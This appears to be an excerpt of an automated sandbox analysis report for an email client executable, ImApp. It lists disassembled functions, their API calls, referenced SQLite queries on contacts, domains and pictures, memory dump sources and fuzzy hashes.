#20.IMDBU(265105E4), ref: 020E608D
#10.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4), ref: 020E60AA
#12.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,?,00000000,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4), ref: 020E60C0
#19.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,?,00000000,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4), ref: 020E60CD
#25.IMDBU(FBPictureURL,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,?,00000000,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?,265105E4), ref: 020E60E4
#16.IMDBU ref: 020E6105

Strings

SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc, xrefs: 020E60A3, 020E60B9
FBPictureURL, xrefs: 020E60DB

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: FBPictureURL$SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc
API String ID: 0-227915139
Opcode ID: beb4a9413ce9cf64e2ef4a53dd0f85e98596e316f9931f79a4fc6c637d9a9977
Instruction ID: 3390d0969ea9fdfb526bddc2f7b9bf449d66d161ab1078b552584bd5ed391211
Opcode Fuzzy Hash: beb4a9413ce9cf64e2ef4a53dd0f85e98596e316f9931f79a4fc6c637d9a9977
Instruction Fuzzy Hash: 6C11E6717443509FD725DB18DC81AABF3DAAFD4B20F104A2DF95787280EB7198849B52

Function 020DBA40 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 59COMMON

Download Yara Rule

APIs

#6735.MFC80U(?,265105E4,?,?,?,?,020ECAC9,000000FF), ref: 020DBA6E

Part of subcall function 020DCA50: #6160.MFC80U(020F9BE8,265105E4,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA78
Part of subcall function 020DCA50: #5524.MFC80U(00000040,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA82
Part of subcall function 020DCA50: #4100.MFC80U(?,-00000001,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA97
Part of subcall function 020DCA50: #774.MFC80U(?,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAAC
Part of subcall function 020DCA50: #6167.MFC80U(?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAB4
Part of subcall function 020DCA50: #578.MFC80U(?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAC6

#10.IMDBU(UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,?,?,020ECAC9,000000FF), ref: 020DBA9C
#9.IMDBU(UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE,IsApproved,00000000,UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,?,?,020ECAC9,000000FF), ref: 020DBABB
#8.IMDBU(UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE,00000001,00000000,UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE,IsApproved,00000000,UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,?,?,020ECAC9,000000FF), ref: 020DBACF
#578.MFC80U(UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,?,?,020ECAC9,000000FF), ref: 020DBAE5

Strings

UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE, xrefs: 020DBA95, 020DBAB6, 020DBAC8
DomainName, xrefs: 020DBA8D
IsApproved, xrefs: 020DBAB1

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#4100#5524#6160#6167#6735#774
String ID: DomainName$IsApproved$UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE
API String ID: 1279797185-2734791695
Opcode ID: fbfc250cf451f8211e7844bfb8cb9874c1c847a543540052b6b8c7c4bccd6ced
Instruction ID: a95cc05a038cbfa32c1248b17b8a7c954360f2c75882b7d032a81151fba806cb
Opcode Fuzzy Hash: fbfc250cf451f8211e7844bfb8cb9874c1c847a543540052b6b8c7c4bccd6ced
Instruction Fuzzy Hash: 45110876784340AFE300CB24CC81F9BB7A9FB98B14F004A1DF55697A80DB64A949DB91

Function 020C6620 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

#20.IMDBU(265105E4,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_0002BB88,000000FF,020C659A), ref: 020C6648
#12.IMDBU(SELECT MAX(ContactID) FROM Contacts,?,00000001,265105E4,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 020C6666
#19.IMDBU(SELECT MAX(ContactID) FROM Contacts,?,00000001,265105E4,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 020C6673
#24.IMDBU(MAX(ContactID),265105E4,SELECT MAX(ContactID) FROM Contacts,?,00000001,265105E4,?), ref: 020C668E
#16.IMDBU ref: 020C66A7
#16.IMDBU ref: 020C66CD

Strings

SELECT MAX(ContactID) FROM Contacts, xrefs: 020C665E
MAX(ContactID), xrefs: 020C6681

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: MAX(ContactID)$SELECT MAX(ContactID) FROM Contacts
API String ID: 0-1533483949
Opcode ID: 701f02b3d6cf8244b750cd063163ae49ac332c1b64990325c729410f22bbf531
Instruction ID: 0cc618d5d5a7db073b529ed4fb7ff1f2fb1b46002a988315db32b72c82fcb619
Opcode Fuzzy Hash: 701f02b3d6cf8244b750cd063163ae49ac332c1b64990325c729410f22bbf531
Instruction Fuzzy Hash: 451181B22487409FD714EB14C891A9FF7E5FFD8B20F104E2DE99282690EBB09548DA52

Function 020C66F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

#20.IMDBU(265105E4), ref: 020C6718
#12.IMDBU(SELECT COUNT(ContactID) FROM Contacts,?,00000001,265105E4), ref: 020C6736
#19.IMDBU(SELECT COUNT(ContactID) FROM Contacts,?,00000001,265105E4), ref: 020C6743
#24.IMDBU(COUNT(ContactID),265105E4,SELECT COUNT(ContactID) FROM Contacts,?,00000001,265105E4), ref: 020C675E
#16.IMDBU ref: 020C6777
#16.IMDBU ref: 020C679D

Strings

SELECT COUNT(ContactID) FROM Contacts, xrefs: 020C672E
COUNT(ContactID), xrefs: 020C6751

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: COUNT(ContactID)$SELECT COUNT(ContactID) FROM Contacts
API String ID: 0-2420057187
Opcode ID: 576f1a28cfd99d4d81919e9ff6e88e703f26b0eac1200501970d91ad3794a537
Instruction ID: a5255dec8c3ec0ccb93caa0632653d0c52d2df0bcfc1b8525557912aebd9040e
Opcode Fuzzy Hash: 576f1a28cfd99d4d81919e9ff6e88e703f26b0eac1200501970d91ad3794a537
Instruction Fuzzy Hash: 321154B15487409FD714DF14C891A9BF7E5FFD4B20F104E2DE99282690EB70A544DA52

Function 020C67C0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

#20.IMDBU(265105E4), ref: 020C67E8
#12.IMDBU(SELECT Sum(Counter) AS SentCounter FROM SentEmailsCount,?,00000001,265105E4), ref: 020C6806
#19.IMDBU(SELECT Sum(Counter) AS SentCounter FROM SentEmailsCount,?,00000001,265105E4), ref: 020C6813
#24.IMDBU(SentCounter,265105E4,SELECT Sum(Counter) AS SentCounter FROM SentEmailsCount,?,00000001,265105E4), ref: 020C682E
#16.IMDBU ref: 020C6847
#16.IMDBU ref: 020C686D

Strings

SELECT Sum(Counter) AS SentCounter FROM SentEmailsCount, xrefs: 020C67FE
SentCounter, xrefs: 020C6821

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: SELECT Sum(Counter) AS SentCounter FROM SentEmailsCount$SentCounter
API String ID: 0-703942918
Opcode ID: a9453eee2cf38f2d97f8f02b45407afd4e0d0c95bf924db1a870bbe35da3f3fb
Instruction ID: 2be5db3860962d1aae34a250f8b204cc5e2b5fa8bbdb1caca7c5e5a35e3ff55b
Opcode Fuzzy Hash: a9453eee2cf38f2d97f8f02b45407afd4e0d0c95bf924db1a870bbe35da3f3fb
Instruction Fuzzy Hash: 9011B1B12083409FD714DB14C891A9BF3E4FFD8B20F104E2DF99282680EBB0D448DA92

Function 020DBB10 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

#6735.MFC80U(?,265105E4,?,?,?,?,020ECAC9,000000FF), ref: 020DBB3E

Part of subcall function 020DCA50: #6160.MFC80U(020F9BE8,265105E4,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA78
Part of subcall function 020DCA50: #5524.MFC80U(00000040,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA82
Part of subcall function 020DCA50: #4100.MFC80U(?,-00000001,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA97
Part of subcall function 020DCA50: #774.MFC80U(?,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAAC
Part of subcall function 020DCA50: #6167.MFC80U(?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAB4
Part of subcall function 020DCA50: #578.MFC80U(?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAC6

#10.IMDBU(UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,?,?,020ECAC9,000000FF), ref: 020DBB6C
#10.IMDBU(UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE,DisplayName,?,UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,?,?,020ECAC9,000000FF), ref: 020DBB86
#8.IMDBU(UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE,00000001,00000000,UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE,DisplayName,?,UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,?,?,020ECAC9,000000FF), ref: 020DBB9A
#578.MFC80U(UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,?,?,020ECAC9,000000FF), ref: 020DBBB0

Strings

DomainName, xrefs: 020DBB5D
UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE, xrefs: 020DBB65, 020DBB7F, 020DBB93
DisplayName, xrefs: 020DBB7A

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#4100#5524#6160#6167#6735#774
String ID: DisplayName$DomainName$UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE
API String ID: 1279797185-1983583561
Opcode ID: cac986aac0efc0dd967e8a5f1732fb2e2d2091b7587b73723867e88d6e31731c
Instruction ID: 4bd1c7b7a4cdf46aaa913fefe4aee2775b7e8a0cf819551a174cba918cd8097f
Opcode Fuzzy Hash: cac986aac0efc0dd967e8a5f1732fb2e2d2091b7587b73723867e88d6e31731c
Instruction Fuzzy Hash: A311B2767847409FE300CB14C841F9AB3A9FB89B24F40061DFA56A7A90DB64E905DB92

Function 10002420 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

#6735.MFC80U(UNIQUE,?,?,?,?,?,DC7F1836,?,?,?,1000B4E2,000000FF), ref: 1000245A
#310.MFC80U(?,?,?,?,?,DC7F1836,?,?,?,1000B4E2,000000FF), ref: 1000246C
#2311.MFC80U(?,CREATE %s INDEX %s ON %s(%s),?,?,?,?,?,?,?,?,?,DC7F1836,?,?,?,1000B4E2), ref: 10002495
#8.IMDBU(?,00000000,00000000), ref: 100024A9
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,1000B4E2,000000FF), ref: 100024B9
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,1000B4E2,000000FF), ref: 100024CB

Strings

UNIQUE, xrefs: 10002449, 10002455
CREATE %s INDEX %s ON %s(%s), xrefs: 1000248F

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578$#2311#310#6735
String ID: CREATE %s INDEX %s ON %s(%s)$UNIQUE
API String ID: 3772290517-284882035
Opcode ID: a70db9e0403c181c0b2f8fbb0affe9dbec962dee6cd90028522ad2316c858731
Instruction ID: 5746046d21b32e574e75fb43b1da96f9ab7b18a82d34f1736f05f3500355fea4
Opcode Fuzzy Hash: a70db9e0403c181c0b2f8fbb0affe9dbec962dee6cd90028522ad2316c858731
Instruction Fuzzy Hash: C9112E75118750AFE314CF14CC84F9BB7E4FB88794F404A1DF49593295DB749A04CB92

Function 020E7270 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

#525.IMLOOKEXU(00000004,00000001,00000001), ref: 020E7288
#522.IMLOOKEXU(00000000,00000004,00000001,00000001), ref: 020E7291
SftTree_SetShowTruncated.SFTTREE_IX86_U_60(?,00000001,00000000,00000004,00000001,00000001), ref: 020E729C
#564.IMLOOKEXU(?,00000001,00000000,00000004,00000001,00000001), ref: 020E72A3
#417.IMLOOKEXU(AutoComplete.png,0000000A,0000000A,0000000C,000000FF,00000001), ref: 020E72CD
SftTree_GetCtlColors.SFTTREE_IX86_U_60(?,00000001,AutoComplete.png,0000000A,0000000A,0000000C,000000FF,00000001), ref: 020E72DB
SftTree_SetCtlColors.SFTTREE_IX86_U_60(?,00000001,?,00000001,AutoComplete.png,0000000A,0000000A,0000000C,000000FF,00000001), ref: 020E7321

Strings

AutoComplete.png, xrefs: 020E72C6

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: Tree_$Colors$#417#522#525#564ShowTruncated
String ID: AutoComplete.png
API String ID: 2604471702-1883394836
Opcode ID: 190e40716873dd09bccc8e21007fd427da240fbf885a5602b195b443a6331eca
Instruction ID: 18a788924eccf4fb8db5ceb669ad6a00855cbd3c69d150dde9368aab49ef2120
Opcode Fuzzy Hash: 190e40716873dd09bccc8e21007fd427da240fbf885a5602b195b443a6331eca
Instruction Fuzzy Hash: DA113D71744701AFEA24EB24C851FEEB7A6AF88700F00461DE64A5B6D0DB71A941DB86

Function 020E56B0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

#20.IMDBU(265105E4), ref: 020E56E5
#10.IMDBU(SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5706
#12.IMDBU(SELECT * FROM Pictures WHERE (ID = :ID),?,00000000,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E571D
#19.IMDBU(SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E572C
#24.IMDBU(ChangePictureRemotely,?,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E573F
#16.IMDBU(SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5752

Strings

SELECT * FROM Pictures WHERE (ID = :ID), xrefs: 020E56FF, 020E5716
ChangePictureRemotely, xrefs: 020E5736

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: ChangePictureRemotely$SELECT * FROM Pictures WHERE (ID = :ID)
API String ID: 0-2903690277
Opcode ID: 7f748a0e46f831929c581f201bab20b55700c2ae037260c566822df5d65de058
Instruction ID: 9b56bcf1f60e5e7f9cc14e15a5fcacf3f52f39916ba15bc290c67ae6d56587d6
Opcode Fuzzy Hash: 7f748a0e46f831929c581f201bab20b55700c2ae037260c566822df5d65de058
Instruction Fuzzy Hash: D811E7B13483419FE710DB24DC85B9BB7E9EFC8B24F004A2CF95687280E7B0D8449B92

Function 004023A0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 53COMMON

Download Yara Rule

APIs

#1070.IMUTILSU(?,FC8A6036,?,?,?,0041D9C9,000000FF), ref: 004023D2
#1359.IMUTILSU(?,IncMail.exe,00000001), ref: 00402403
#3391.MFC80U(/restart,00000000,00000001,?,?,?,?,?,?,?,0041D9C9,000000FF), ref: 0040241E
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 0040242C
#578.MFC80U(?,?,?,?,?,?,?,0041D9C9,000000FF), ref: 0040243E

Strings

IncMail.exe, xrefs: 004023FD
open, xrefs: 00402425
/restart, xrefs: 00402417

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1070#1359#3391#578ExecuteShell
String ID: /restart$IncMail.exe$open
API String ID: 2776812605-2313905220
Opcode ID: 133dd4d5e49a43a994aeb72f745d92315c1ec5dad50edecade57aebdfbcf5f69
Instruction ID: 5c73fa241741f175cbefaa384572e703902570fc64c44d5f035d1a78ae37210a
Opcode Fuzzy Hash: 133dd4d5e49a43a994aeb72f745d92315c1ec5dad50edecade57aebdfbcf5f69
Instruction Fuzzy Hash: 7711BF71244700BFE324DF14DD4AF9AB3E0EB48B10F504A2EF955972D0DBB8A900CB99

Function 020E5230 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

#20.IMDBU(265105E4), ref: 020E525A
#10.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E527B
#12.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,?,00000000,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E5292
#19.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E52A1
#25.IMDBU(GUID,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E52B8
#16.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E52CB

Strings

SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc, xrefs: 020E5274, 020E528B
GUID, xrefs: 020E52AF

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: GUID$SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc
API String ID: 0-740648067
Opcode ID: df5710ca2ccfac8f436240416f988f231c28b17ed6b39d10195b55cba6e397df
Instruction ID: a195d399324e50bc04720df8b2a2227324c408ea81d5bc5b08cf7c4c8f380370
Opcode Fuzzy Hash: df5710ca2ccfac8f436240416f988f231c28b17ed6b39d10195b55cba6e397df
Instruction Fuzzy Hash: DC11A3B13447405FE700DB24CC81B9BB7E5ABD9B14F004A2DF95787680EB7498859B92

Function 020CC5A0 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

#19.IMDBU(265105E4,?,00000000,020EB7A9,000000FF,020CC3F7,?,?,00000001), ref: 020CC5C3
#310.MFC80U(265105E4,?,00000000,020EB7A9,000000FF,020CC3F7,?,?,00000001), ref: 020CC5D4
#25.IMDBU(DomainName,?,?,00000000,020EB7A9,000000FF,020CC3F7,?,?,00000001), ref: 020CC5EE
#5711.MFC80U(?,?,DomainName,?,?,00000000,020EB7A9,000000FF,020CC3F7,?,?,00000001), ref: 020CC608
#578.MFC80U(DomainName,?,?,00000000,020EB7A9,000000FF,020CC3F7,?,?,00000001), ref: 020CC619
#18.IMDBU(?,00000000,020EB7A9,000000FF,020CC3F7,?,?,00000001), ref: 020CC621
#19.IMDBU(?,00000000,020EB7A9,000000FF,020CC3F7,?,?,00000001), ref: 020CC628

Strings

DomainName, xrefs: 020CC5E7

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #310#5711#578
String ID: DomainName
API String ID: 2209386805-1199762040
Opcode ID: f31308785cdf5d7c04711be9d8d03c683186280b81c66f613f279a1e9f77d5ce
Instruction ID: cfe58c58de0153c6849107045c636012f1d89e4383fe1d7250f90fd4ddf6491c
Opcode Fuzzy Hash: f31308785cdf5d7c04711be9d8d03c683186280b81c66f613f279a1e9f77d5ce
Instruction Fuzzy Hash: AE0161B4244741AFDB05DB10C940B6EB3E6FBC4B14F008A1DE45A87680DB389945DF82

Function 020CA760 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 020CAC80: #9.IMDBU(SELECT 1 FROM GroupsMembers WHERE GroupID=:GroupID AND MemberID=:MemberID AND MemberType=:MemberType,GroupID,?,?,?,020CA76D), ref: 020CAC94

#9.IMDBU(INSERT INTO GroupsMembers VALUES(:GroupID,:MemberID,:MemberType),GroupID), ref: 020CA789
#9.IMDBU(INSERT INTO GroupsMembers VALUES(:GroupID,:MemberID,:MemberType),MemberID,00000000,INSERT INTO GroupsMembers VALUES(:GroupID,:MemberID,:MemberType),GroupID), ref: 020CA7A1
#9.IMDBU(INSERT INTO GroupsMembers VALUES(:GroupID,:MemberID,:MemberType),MemberType,?,INSERT INTO GroupsMembers VALUES(:GroupID,:MemberID,:MemberType),MemberID,00000000,INSERT INTO GroupsMembers VALUES(:GroupID,:MemberID,:MemberType),GroupID), ref: 020CA7BA
#8.IMDBU(INSERT INTO GroupsMembers VALUES(:GroupID,:MemberID,:MemberType),00000001,00000000,INSERT INTO GroupsMembers VALUES(:GroupID,:MemberID,:MemberType),MemberType,?,INSERT INTO GroupsMembers VALUES(:GroupID,:MemberID,:MemberType),MemberID,00000000,INSERT INTO GroupsMembers VALUES(:GroupID,:MemberID,:MemberType),GroupID), ref: 020CA7CE

Strings

GroupID, xrefs: 020CA77A
MemberID, xrefs: 020CA795
INSERT INTO GroupsMembers VALUES(:GroupID,:MemberID,:MemberType), xrefs: 020CA782, 020CA79A, 020CA7B3, 020CA7C7
